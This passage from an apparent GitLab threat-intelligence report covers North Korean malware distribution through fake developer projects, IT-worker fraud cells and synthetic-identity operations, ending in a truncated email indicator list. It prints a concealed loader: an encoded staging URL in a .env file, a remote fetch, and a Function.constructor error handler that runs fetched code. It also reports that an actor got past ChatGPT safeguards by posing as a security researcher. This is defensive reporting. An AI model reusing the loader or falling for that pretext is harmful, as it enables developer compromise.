BeaverTail and Ottercookie in more than 95% of cases, however we also observed the distribution of lower prevalence payloads, including the compiled ClickFix BeaverTail variant [we identified](https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/north-korean-malware-sept-2025/) in September.\n\nThreat actors typically originated from consumer VPNs when interacting with GitLab.com to distribute malware; however they also intermittently originated from dedicated VPS infrastructure and likely laptop farm IP addresses. Threat actors created accounts using Gmail email addresses in almost 90% of cases. We observed custom email domains in only five cases, all relating to organizations we assess are likely front companies controlled by North Korean threat actors. Based on project composition, threat actors most commonly targeted developers seeking employment in the cryptocurrency, finance, and real estate sectors. Threat actors also targeted developers in sectors, including artificial intelligence and gaming, at a low rate.\n\nIn more than 80% of instances, threat actors did not store malware payloads on GitLab.com, instead storing a concealed loader intended to source and execute remote content. Threat actors abused at least six legitimate services to host malware payloads, most commonly Vercel. Threat actors also used custom domains to host malware payloads at least 10 times in 2025.\n\n![Distribution of staging infrastructure used in North Korean nation-state malware activity on GitLab.com in 2025.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769690321/kgjafjsrhpczu00fjdwb.png \"Distribution of staging infrastructure used in North Korean nation-state malware activity on GitLab.com in 2025.\")\n\nWe observed diverse project structures and a gradual evolution of concealment techniques through 2025. In nine instances, threat actors used malicious NPM dependencies created immediately prior to their use in malicious projects. In December, we observed a cluster of projects executing malware via VS Code tasks, either piping remote content to a native shell or executing a custom script to decode malware from binary data in a fake font file.\n\n\n![Distribution of features in North Korean nation-state malware projects activity on GitLab.com in 2025.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769690321/p2gpkuvise7ftc5lr7pv.png \"Distribution of features in North Korean nation-state malware projects activity on GitLab.com in 2025.\")\n\n#### Malicious code project features\n\nThe most common execution pattern we observed in 2025 had the following features:\n\n* A base64 encoded next-stage URL, header key, and header value, all masquerading as benign variables in a .env file.\n* A trigger function intended to source remote content and raise an error.\n* A global invocation of the trigger function in a file executed as soon as the project is run.\n* A custom error handler intended to execute remote content from the trigger function by using `Function.constructor` to load a string as executable code.\n\n\n**Example excerpt from a .env file containing malicious encoded variables:**\n\n```shell\n# Runtime Configuration\nRUNTIME_CONFIG_API_KEY=aHR0cHM6Ly9hcGktc2VydmVyLW1vY2hhLnZlcmNlbC5hcHAvYXBpL2lwY2hlY2stZW5jcnlwdGVkLzgyMw\nRUNTIME_CONFIG_ACCESS_KEY=eC1zZWNyZXQtaGVhZGVy\nRUNTIME_CONFIG_ACCESS_VALUE=c2VjcmV0\n```\n\n**Decoded values from the .env file (defanged):**\n\n```shell\n# Runtime Configuration\nRUNTIME_CONFIG_API_KEY=hxxps[:]//api-server-mocha.vercel[.]app/api/ipcheck-encrypted/823\nRUNTIME_CONFIG_ACCESS_KEY=x-secret-header\nRUNTIME_CONFIG_ACCESS_VALUE=secret\n```\n\n**Example trigger function intended to source remote content from the concealed staging URL and trigger the custom error handler:**\n\n```javascript\nconst errorTimeHandler = async () => {\n  try {\n    const src = atob(process.env.RUNTIME_CONFIG_API_KEY);\n    const k = atob(process.env.RUNTIME_CONFIG_ACCESS_KEY);\n    const v = atob(process.env.RUNTIME_CONFIG_ACCESS_VALUE);\n    try {\n      globalConfig = (await axios.get(`${src}`, {\n        headers: {\n          [k]: v\n        }\n      }));\n      log('Runtime config loaded successfully.');\n    } catch (error) {\n      errorHandler(error.response?.data || error.message);\n    }\n  } catch (err) {\n    await errorHandler(err.response?.data || err.message || err);\n  }\n};\n```\n\n**Example custom error handler intended to execute remote code:**\n\n```javascript\nconst errorHandler = (error) => {\n  try {\n    if (typeof error !== 'string') {\n      sss\n      console.error('Invalid error format. Expected a string.');\n      return;\n    }\n    const createHandler = (errCode) => {\n      try {\n        const handler = new(Function.constructor)('require', errCode);\n        return handler;\n      } catch (e) {\n        console.error('Failed:', e.message);\n        return null;\n      }\n    };\n    const handlerFunc = createHandler(error);\n    if (handlerFunc) {\n      handlerFunc(require);\n    } else {\n      console.error('Handler function is not available.');\n    }\n  } catch (globalError) {\n    console.error('Unexpected error inside errorHandler:', globalError.message);\n  }\n};\n```\n\nThe error handler execution pattern allows threat actors to spread malicious components across up to four files and follows a code path targets may miss even if they audit code before running it. Staging URLs commonly respond with decoy content unless the correct header values are included with requests. This technique became increasingly common through 2025, alongside other anti-analysis developments, including sandbox detection in Ottercookie and the increasing use of invite-only private projects.\n\nThe extent to which distinctive subgroups of activity overlap in time leads us to assess that North Korean nation-state malware distribution on GitLab.com almost certainly relates to distinct teams operating in parallel with limited coordination. We’ve observed instances consistent with individual operators independently trying to fix an execution issue or add a feature to their malware. We also observed instances where threat actors have more than one malware execution pathway in a malicious repository, potentially resulting in malware executing twice or more. These instances suggest low technical proficiency among some operators, who appear to lack confidence when modifying malware code.\n\n#### Other notable observations\n\nIn July 2025, we identified a project containing notes kept by a North Korean nation-state malware distributor. The threat actor maintained a target list containing more than 1,000 individuals' names. Comments added by the threat actor identify 209 individuals having responded to contact attempts, 88 of whom were recorded as having executed a malicious project. This operator also maintained documents and code related to contract software development, suggesting simultaneous engagement in both malware distribution and fraudulent employment.\n\nIn September 2025, we observed a North Korean nation-state malware developer using AI to help develop a custom obfuscator for BeaverTail. Based on commit messages and project data, the developer used ChatGPT and Cursor (with an unknown model) to refine their obfuscator by testing whether AI was capable of de-obfuscating their code. Based on AI model responses, the threat actor was able to avoid triggering safeguards by posing as a security researcher attempting to analyze the malware. This demonstrates the broadly empowering nature of AI and the limits of safeguards in preventing use by motivated threat actors. We have not observed the BeaverTail variant the threat actor created in the wild.\n\nIn October 2025, a North Korean nation-state-controlled account submitted a support ticket to appeal a ban from GitLab.com for malware distribution. The threat actor, posing as the CTO of a newly created cryptocurrency organization, inquired about the reason for their ban and requested account reinstatement. We assess that this support ticket was likely an attempt to gather information about our detection methodology. We provided no information to the threat actor and also banned a subsequent account they created using the same CTO persona.\n\n### Implications\n\nNorth Korean nation-state malware operations are atypical because of how much direct human effort is involved. The volume of manual effort by many operators presents a challenge to service providers because of the extreme diversity in techniques that emerges.\n\nWe observed an increasing emphasis on obfuscation and evasiveness in the second half of 2025, indicating that service provider disruptions are forcing an evolution in tactics. Despite this, we anticipate that North Korean nation-state malware campaigns will continue through 2026 due to the continued effectiveness of the campaign and the high value of developer endpoints to North Korean threat actors.\n\n### Mitigation\n\nWe banned 131 accounts associated with North Korean nation-state malware distribution in 2025. We’re grateful for the abuse reports we received from GitLab.com users, which helped us to track threat actors through infrastructure and technique shifts. We encourage GitLab.com users encountering malicious or suspicious content to continue to submit abuse reports using the abuse report functionality on user profile pages.\n\nWe improved our data collection and clustering of North Korean nation-state accounts and invested in new capabilities to identify threat actor infrastructure. We collaborated with industry partners to share our data, enabling the disruption of accounts on other platforms.\n\n\n## Case studies\n\n### Case Study 1: North Korean IT Worker Cell Manager Financial and Administrative Records\n\n#### Summary\n\nWe identified a private project almost certainly controlled by Kil-Nam Kang (강길남), a North Korean national managing a North Korean IT worker cell. Kang maintained detailed financial and personnel records showing earnings of more than US$1.64 million between Q1 2022 and Q3 2025. Kang’s cell currently includes seven other North Korean nationals and generates revenue through freelance software development under false identities. We assess that the cell is highly likely colocated and operating from Beijing, China.\n\n#### Key findings\n\nIn late 2025, we identified a private project containing financial records and administrative documents related to the operation of a North Korean IT worker cell. Detailed financial records span from Q1 2022 to Q3 2025, however less detailed records indicate the cell was operating as early as 2019.\n\nWe assess that the project is almost certainly controlled by North Korean national Kil-Nam Kang. Records indicate that Kang managed the cell as two subteams in 2022, however from 2023 onwards only tracked performance at the individual level. Kang maintains detailed personnel records, including dossiers on each team member, performance reviews, and copies of team members’ passports. Kang also has credentials to remotely access each cell member's workstation.\n\n![Assessed organization chart of the North Korean IT worker cell managed by Kil-Nam Kang.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769692342/zasqtzdr3xpq9wgqh6a1.png \"Assessed organization chart of the North Korean IT worker cell managed by Kil-Nam Kang.\")\n\n\nPersonnel dossiers list each of the cell members as “베이징주재 김일성종합대학 공동연구중심 연구사”, translating to “Researcher at Kim Il-sung University Joint Research Center in Beijing”. This designation suggests that the cell’s presence in China may be under an academic pretext. Kang generally accessed GitLab.com via Astrill VPN, however we also observed origination from China Unicom IP addresses geolocated to Beijing, most recently `111.197.183.74`.\n\nDossiers list devices and accounts owned by each cell member, including passwords to access accounts. Dossiers list from two to four “대방관계” (“bilateral relations”) for each cell member. We assess that these bilateral relations almost certainly include active facilitators, however may also include inadvertent facilitators or victims of identity theft. Bilateral relations span countries including the U.S., Canada, Mexico, Panama, the U.K., France, Spain, Sweden, Montenegro, Russia, China, Thailand, Indonesia, Malaysia, Philippines, Sri Lanka, Argentina, Chile, and Peru. The project contains other data on bilateral relations, including identity documents, banking information, and credentials to remotely access devices and accounts.\n\nFinancial records indicate that the cell generates revenue through freelance and contract software development services. The cell maintains detailed notes linking each software development project to a facilitator persona. These notes include samples of communication styles and notes on facilitator circumstances and temperaments to enable cell members to switch between projects if required. The cell focused on web and mobile app development.\n\nSoftware development clients pay the cell via digital payment processors. Withdrawal receipts indicate that cell members withdraw funds from payment platforms into Chinese banks. The cell maintained organized banking records, including digital images of Chinese Resident Identity Cards, which are required to access the Chinese financial system. The cell maintained individual records for at least three Chinese banks. One Chinese Resident Identity Card relates to a North Korean national who is not a member of the cell.\n\n![Screenshot of project spreadsheet showing deposits and withdrawal from virtual bank accounts, dated November 2025. Client & financial organization names redacted.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769692489/zetnsj3ufqqnlefbpwk0.png \"Screenshot of project spreadsheet showing deposits and withdrawal from virtual bank accounts, dated November 2025. Client & financial organization names redacted.\")\n\n\n![Screenshot of spreadsheet tracking withdrawals from digital payment processors to Chinese bank accounts.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769692675/ghr0pg1hrtu109hk2xes.png \"Screenshot of spreadsheet tracking withdrawals from digital payment processors to Chinese bank accounts.\")\n\n\nThe project contained more than 120 spreadsheets, presentations, and documents that systematically track quarterly income performance for individual team members. Reports compare team member earnings against predefined targets and quarter-over-quarter performance. The comprehensiveness and highly structured nature of financial reports is indicative of regular financial monitoring and reporting to leadership.\n\n![Screenshot of presentation showing cell performance data for Q3 2025.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769692846/kepq0zhevybpfrdnkg3t.png \"Screenshot of presentation showing cell performance data for Q3 2025.\")\n\n\n![Screenshot of presentation showing cell member performance relative to goals for Q3 2025.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769692964/mwsgg1hs3zqgddibaxsy.png \"Screenshot of presentation showing cell member performance relative to goals for Q3 2025.\")\n\n\n![Screenshot of presentation showing cell performance data by month for Q3 2025.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769693162/eilplgjpnrlh1mln1l67.png \"Screenshot of presentation showing cell performance data by month for Q3 2025.\")\n\nWe aggregated financial data and identified a total reported income of US$1.64 million from Q1 2022 to Q3 2025. The cell had a target of US$1.88 million over the same period. The cell averaged approximately US$117,000 per quarter, approximately US$14,000 per member excluding Kang. The cell produced the highest earnings in the first half of 2022 and lowest earnings in Q3 2025.\n\n![Actual and target cell earnings over time, 2022 to 2025.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769693321/e4okiye7ucr0gge28wle.png \"Actual and target cell earnings over time, 2022 to 2025.\")\n\nWe assess that cell income goals were likely set based on a combination of prior earnings and cell membership. In Q3 2025, cell member Won-Jin Kim was dropped from tracking and his documentation was shifted to a directory marked “귀국” (“Return to the home country”). We assess that Won-Jin Kim’s departure from the cell is unlikely to relate to revenue generation performance based on consistently high earnings relative to other members.\n\nThe private project also contained performance reviews for cell members, dated 2020. These performance reviews confirm that the cell is physically colocated and include commentary about cell members’:\n\n- Earnings contribution and mutual skills development.\n- Voluntary donations for Typhoon Bavi and COVID-19 recovery in North Korea.\n- Contributions to collective household duties, including doing laundry, providing haircuts, and purchasing shared food and drink.\n- Interpersonal values and adherence to party values.\n\nThese reviews suggest that the cell operates as a tightly controlled collective household where individual performance encompasses both revenue generation and ideological conformity. We observed instances of a cell member communicating with an unknown party by continually overwriting an HTML comment hidden in a large decoy codebase. The other party appeared to be able to communicate with North Korea, and provided the cell member with information about personal matters and the international movements of mutual contacts. This communication method was unique to this exchange and may have been an attempt by the cell member to evade surveillance by their superiors.\n\n![Commit showing a cell member communicating with an unknown party to pass on messages from inside North Korea.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769694080/cxenda3rxohgwbbrddz2.png \"Commit showing a cell member communicating with an unknown party to pass on messages from inside North Korea.\")\n\n#### Implications\n\nThis activity provides a unique view into the financial operations and organizational structure of a North Korean IT worker cell. Records demonstrate that these operations function as structured enterprises with defined targets and operating procedures and close hierarchical oversight. This cell’s demonstrated ability to cultivate facilitators globally provides a high degree of operational resiliency and money laundering flexibility.\n\nThe declining earnings trend through 2025 may reflect a changing landscape due to increased public awareness of North Korean IT worker activities. Despite this decline, the cell had earnings exceeding US$11,000 per member in Q3 2025, demonstrating a clear capability to generate funds for the regime.\n\n#### Mitigations\n\nWe banned accounts related to this activity.\n\n\n### Case Study 2: Synthetic Identity Creation and Service Abuse at Scale\n\n#### Summary\n\nWe identified a North Korean nation-state software development team collaborating on a large-scale synthetic identity creation capability. The capability included functionality to scrape images and personal data, generate fake passports, and automate email and professional networking accounts to generate leads. The threat actors also developed tools to synchronize Git repositories and created copies of proprietary code they gained access to. This activity cluster created a minimum of 135 synthetic identities purporting to originate from Eastern Europe and Southeast Asia. Using these personas, the actor gained access to at least 48 private codebases.\n\n#### Key findings\n\nWe identified a set of projects contributed to by a North Korean nation-state activity cluster focused on capability development and large scale synthetic identity creation. The cluster included 10 distinct GitLab accounts or Git identities that exhibited concurrent activity or had distinct origins, leading us to assess that the activity cluster highly likely comprised at least a small team of developers. Accounts commonly originated from Virtual Private Servers but intermittently originated from Russian IP space. The development team commenced activities in 2021 but was most active from late-2024 to mid-2025.\n\nThe threat actor developed a complex multistage process to generate synthetic identities at scale. The overall flow of the threat actor’s identity creation capability was to:\n\n1. Scrape photographs from social media, AI image generators, and other platforms.\n\n2. Use the legitimate faceswapper.ai service to create novel images by swapping faces from diverse source images into headshot-style images suitable for identity documents.\n\n3. Generate passports with fake personal information using VerifTools and newly created headshots. VerifTools is an illicit fraudulent identity document service [disrupted by U.S. authorities in August 2025](https://www.justice.gov/usao-nm/pr/us-government-seizes-online-marketplaces-selling-fraudulent-identity-documents-used). Downloaded passports contained watermarks because the threat actor did not pay for VerifTools.\n\n4. Use an automated Adobe Photoshop routine stored in a .atn file to extract and remove VerifTools watermarks.\n\n5. Create accounts on email and professional networking sites. The threat actor used fake passports to seek enhanced identity verification on professional networking sites.\n\nThe threat actor’s tooling to interact with abused services was brokered through a control node hosted at `185.92.220.208`. This control node served a custom API that allowed individual operators to remotely create, monitor, and control individual accounts. The threat actor used web browsers instrumented with Selenium to interact with abused services. The threat actor primarily automated accounts to make connections and cold contact leads to generate software engineering work.\n\nThe threat actor used a combination of dedicated, IPRoyal, and open proxies to obfuscate their activities and stored a massive volume of solutions to animal/object matching CAPTCHA challenges to facilitate bypasses in automated scripts. The control node tracked the efficacy of the threat actor’s accounts, contact scripts, and infrastructure, allowing the threat actor to monitor campaign effectiveness and adapt its techniques over time through an administrative dashboard.\n\nThe threat actor stored working data on dedicated infrastructure or in cloud storage accounts rather than on GitLab.com. However, in September 2024, the threat actor inadvertently committed a dump of its database to GitLab.com. The database contained records of profiles controlled at that time, which was early in the development of the capability. The contents of some fields in the database were encrypted, however the server-side decryption routine code stored on GitLab.com contained a hard-coded key, allowing us to decrypt the data.\n\nAs of September 2024, the threat actor controlled 135 synthetic identities. Identities most commonly purported to be based in Serbia, but also purportedly originated from Poland, Philippines, Indonesia, Bulgaria, Croatia, Romania, Lithuania, Moldova, Hungary, and Slovakia. For each account, the threat actor stored information about whether identity verification was successful, with overall results indicating the threat actor was successful in just over 40% of verification attempts. Commit volume on the synthetic identity capability escalated sharply from September 2024 to December 2024, indicating that the true scale of the threat actor’s activities may have been much higher. The threat actor also had more than 73,000 leads stored in its database dump, providing insight into the scope of its outbound activities.\n\n\n![Distribution of purported account origins](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769694425/igefe8soxgg1gt2lfasy.png)\n\n\n\n![Distribution of identity verification results](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769694350/liucfviexwkxy028ysyf.png)\n\nThe threat actor also created a set of command line tools for standardized Git operations.  The tooling was primarily intended to allow the threat actor to mirror Git repositories from private namespaces on a range of cloud and self-managed source code management systems. The tooling allowed the threat actor to push commits to the mirror and then have them synchronized to remote repositories under the correct Git identities. This capability gave the threat actor a safety net against making commits under the wrong identity and also meant that they exfiltrated copies of codebases they gained access to. Based on metadata reports committed to GitLab.com by the threat actor, they used this mirroring tooling on at least 48 unique repositories.\n\n#### Implications\n\nThis cluster is notable among North Korean nation-state activity we observed in 2025 due to the strong focus on automation and continued efficacy monitoring. This cluster also demonstrates that North Korean nation-state threat actors draw on both emerging AI capabilities and the cybercrime ecosystem to enhance their operations.\n\nIdentity development is a fundamental element of North Korean nation-state insider activity. North Korean nation-state threat actors incrementally build legitimacy through identities spanning multiple platforms and by seeking enhanced verification services where possible. North Korean nation-state identity cultivation draws on network effects by creating interactions, reviews and testimonials between personas. These tactics have the drawback of increasing threat actors’ exposure to service provider takedowns. Organizations should treat applications with dead links to professional profiles and source code portfolios as highly suspicious.\n\n#### Mitigations\n\nWe banned the accounts associated with this activity and notified impacted service providers of potential abuse of their platforms.\n\n\n### Case Study 3: North Korean Operator Controlling 21 Personas\n\n#### Summary\n\nWe identified an individual North Korean operator controlling at least 21 distinct personas based on real identities. The threat actor was focused on revenue generation through contract and freelance software development. The threat actor’s personas spanned five countries and were supported by doctored identity documents and personal information obtained from open sources and through a likely cyber intrusion.\n\n#### Key findings\n\nWe identified a code project used by an individual North Korean operator active from at least May 2021 until February 2025. The threat actor was focused on generating revenue through contract and freelance software development under a range of stolen or shared identities, spanning at least 21 distinct personas. The threat actor focused on web, blockchain, and cloud skill sets, and created blogs and professional social media accounts on various external platforms. The threat actor typically accessed GitLab.com via commercial VPNs and Virtual Private Servers with RDP enabled. Based on lapses in proxy use, the threat actor was likely physically located in Russia during early 2025.\n\nThe threat actor maintained individual directories for each identity, containing identity documents, resumes, signatures, personal information, and payment card information. The threat actor’s identities spanned the U.S., Canada, Ukraine, Estonia, and Macedonia. For five of their eight U.S.-based identities, the threat actor used Photoshop to edit their own image into one or more stolen identity documents, preserving otherwise valid details. The threat actor produced false Florida and Texas driver licenses and false U.S. passports. The threat actor had Photoshop Document (PSD) template files to produce identity documents for Australia, Austria, Canada, Finland, Germany, Malaysia, Mexico, Philippines, and Poland. We identified some of these template files for sale via illicit services online and assess that the threat actor likely purchased the templates.\n\n![Doctored U.S. identity documents containing the threat actor’s photograph.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769694685/rof3zsajd7asn8lcq0oc.png \"Doctored U.S. identity documents containing the threat actor’s photograph.\")\n\nThe threat actor also collected personal information on U.S.-based individuals. The threat actor had files that appear to have been exported from the HR management system of a large U.S.-based hospitality company. The files contained information including personal and contact details, protected class status, and identity document numbers for almost 8,000 employees of the organization. We were unable to locate this data in circulation or data breach aggregators, suggesting that the data may have been obtained by the threat actor during an intrusion or purchased in a one-off sale. The threat actor also had an export of the public Florida voter registration database, which is one of the most detailed publicly available voter databases.\n\n#### Implications\n\nThis threat actor’s activities suggest that North Korean threat actors place a particular value on U.S. identities. We identified no evidence that the threat actor altered non-U.S. identity documents or collected personal data from any other country. This activity also demonstrates that North Korean threat actors, even when focused on earning wages, present a cyber intrusion risk and actively leverage the cybercrime ecosystem to support their operations.\n\n#### Mitigation\n\nWe banned the account associated with this operator.\n\n\n### Case Study 4: North Korean Fake IT Worker Operating from Central Moscow\n\n#### Summary\n\nWe identified a private code repository used by a North Korean fake IT worker likely operating from central Moscow. The threat actor was focused on cultivation of a smaller group of more detailed personas and progressed from freelance work to full-time employment. The threat actor also attempted to recruit remote facilitators to maintain custody of laptops intended to be remotely accessed.\n\n#### Key findings\n\nWe identified a private code project controlled by a North Korean fake IT worker most recently active in December 2025\\. We identified the project within a week of its creation, however the threat actor's records indicate they have been active on other platforms since at least 2022. The threat actor started as a freelance software developer and 3D modeler but shifted focus to seeking fraudulent full-time employment in 2025. The threat actor’s strategy relied on a smaller number of personas with emphasis on establishing legitimacy through backstopping rather than relying on many disposable personas.\n\nRepository contents indicate that the threat actor began as a fraudulent freelancer. Invoices created by the threat actor during this period were marked payable to individuals and addresses in China, Poland, and Spain. Documents stored by the threat actor indicate that they rotated through accounts on at least three payment processors to receive payments from clients. A spreadsheet stored by the threat actor indicates they were part of a 14-member cell in 2022, however they did not store continuous financial records on GitLab.com. North Korean cells we have observed on GitLab.com typically have smaller membership and this is the only data we have observed consistent with a cell membership exceeding 10.\n\nIn early 2025, the threat actor pivoted to attempting to obtain full-time employment at U.S. and U.K. organizations. In March 2025, the threat actor uploaded chat logs to GitLab.com containing exchanges with another likely North Korean operator. The threat actors discussed their progress in recruiting individuals in the U.S. and U.K. to maintain custody of laptops to be remotely accessed in exchange for a fixed fee and the payment of power and internet utilities. The primary threat actor mentioned having a current facilitator based in Hong Kong providing remote access to a device and sharing their identity and a potential facilitator in the U.K. The primary threat actor represented himself as a Chinese national with visa difficulties when attempting to recruit facilitators.\n\nIn April 2025, the threat actor operationalized the Hong Kong-based facilitator and started seeking employment. The threat actor circulated a set of resumes with different skill sets on resume-sharing sites and on a personal portfolio website. The threat actor took a series of photographs of themselves and used several AI-headshot services to create professional profile photos.\n\n![Original and AI-enhanced images of the threat actor stored in private projects and open-source examples claiming employment at two U.S.-based organizations.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769694925/spifmjjmsbod8nczsi6n.png \"Original and AI-enhanced images of the threat actor stored in private projects and open-source examples claiming employment at two U.S.-based organizations.\")\n\nThe threat actor uploaded the original images used to create their AI headshots to GitLab.com. The images contained EXIF metadata, including GPS coordinate data. GPS coordinates stored on the images indicate that they were taken at `55°43'44.4\"N 37°36'55.8\"E`, which is a location in the Yakimanka District in central Moscow. We note that these coordinates were highly likely produced via Windows location services based on WiFi positioning and may have a reduced accuracy compared to true GPS. Despite this limitation, we assess that it is highly likely that this threat actor was based in Moscow when the images were captured on April 18, 2025. The threat actor also commonly originated from Russian IP addresses when accessing GitLab.com without a VPN.\n\n![Map depicting the location stored in EXIF metadata on images of the threat actor. ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1769695036/cjv9evwdxwxonpdgvko9.png \"Map depicting the location stored in EXIF metadata on images of the threat actor.\")\n\nThe threat actor’s notes indicate that they gained employment with at least one small U.S.-based technology agency in mid-2025 and were subsequently contracted to five other organizations. The threat actor appears to have gained significant access to the agency, including privileged access to web hosts used for client projects and potential access to an executive’s Slack account. The threat actor stored copies of the executive’s resume and message logs indicating that the threat actor may represent themselves as the executive in communications with external parties. We are unable to assess whether this is an instance of facilitation or the threat actor using their foothold to establish deeper control of the agency.\n\n#### Implications\n\nThis incident is an example of a North Korean fake IT worker cultivating a small number of detailed personas. This approach is distinct from other operators that focus on a higher volume of disposable personas.\n\nThis incident also provides insight into North Korean facilitator cultivation. The threat actors were content to seek purely technical facilitators rather than facilitators willing to share their identities and participate in meetings. This preference suggests that North Korean operators prioritize circumventing technical controls such as IP address-based geolocation and reputation scoring over identity verification challenges, indicating that technical controls may be a more significant operational barrier in the current landscape.\n\n#### Mitigations\n\nWe banned the account associated with this activity.\n\n*Saksham Anand contributed to this report.*\n\n## Appendix 1: GitLab Threat Intelligence Estimative Language\n\nWe use specific language to convey the estimated probability attached to assessments. We also use words including \"possible\" and \"may\" in circumstances where we are unable to provide a specific estimate. Further reading on estimative language is available [here](https://www.cia.gov/resources/csi/static/Words-of-Estimative-Probability.pdf).\n\n| Estimative Term | Almost Certainly Not | Highly Unlikely | Unlikely | Real Chance | Likely | Highly Likely  | Almost Certain |\n| :---- | :---- | :---- | :---- | :---- | :---- | :---- | :---- |\n| Probability Range | 0 - 10% | 10 - 25% | 25 - 40% | 40 - 60% | 60 - 75% | 75 - 90% | 90 - 100% |\n\n\n## Appendix 2: Indicators of Compromise\n\nWe recommend that organizations use these indicators of compromise as a basis for investigation rather than as a blocklist. North Korean threat actors almost certainly use compromised and purchased identities to support their operations, meaning these indicators of compromise may not be uniquely malicious or may have reverted to their original owners. We have made our best efforts to filter for email addresses where threat actors have indicated positive control of the email address on one or more platforms or represented themselves as the associated identity.\n\n| Indicator | Type | Risk | First Seen | Last Seen | Comment | Case Study |\n| :---- | :---- | :---- | :---- | :---- | :---- | :---- |\n| `aleks.moleski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `aleksander.malinowski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `anatol.baranski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `anton.plonski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `ben.moore0622@outlook.com` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `edward.harley@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `iwan.banicki@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `johnwilson0825@outlook.com` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `kevin.brock@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `richard.francis10@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `robert.radwanski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `roman.bobinski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `roman.ulanski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `stefan.moleski@mail.io` | email | malware | N/A | N/A | Used for malware distribution on freelance developer platforms | Year in Review |\n| `taraslysenko@mail.io` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `corresol28@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `corresol28@outlook.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `paniker1110@outlook.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `walterjgould77@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `supernftier@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `bohuslavskyir@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `artizjusz11@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `bartonfratz@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `cryptodev26@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `deinsulabasil@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `elsaadanifaiek@hotmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `felipe.debarros@hotmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `geordiecuppaidge684@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `greatbusinessman517@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `jhmnuykbvgftrss@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `kainmcguire@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `kimberlysunshine137@yahoo.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `konovalov1256@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `kvashinalexander@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `markstevemark85@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `oleksandrbokii963@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `paniker1110@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `rubenbolanos19733@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `simpsonkeith686@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `sonniehutley5@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `tagi238761@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `vlulepet9@gmail.com` | email | malware | N/A | N/A | DPRK malware developer accounts | Year in Review |\n| `cnova.business.en@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `danielmcevily.business918@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `jaimetru003@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `daysabethtederstz7533@hotmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `thiagocosta199295@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `cptrhzv09@hotmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com account | Year in Review |\n| `chainsaw1107@gmail.com` | email | malware | N/A | December 2025 | DPRK malware distributor GitLab.com 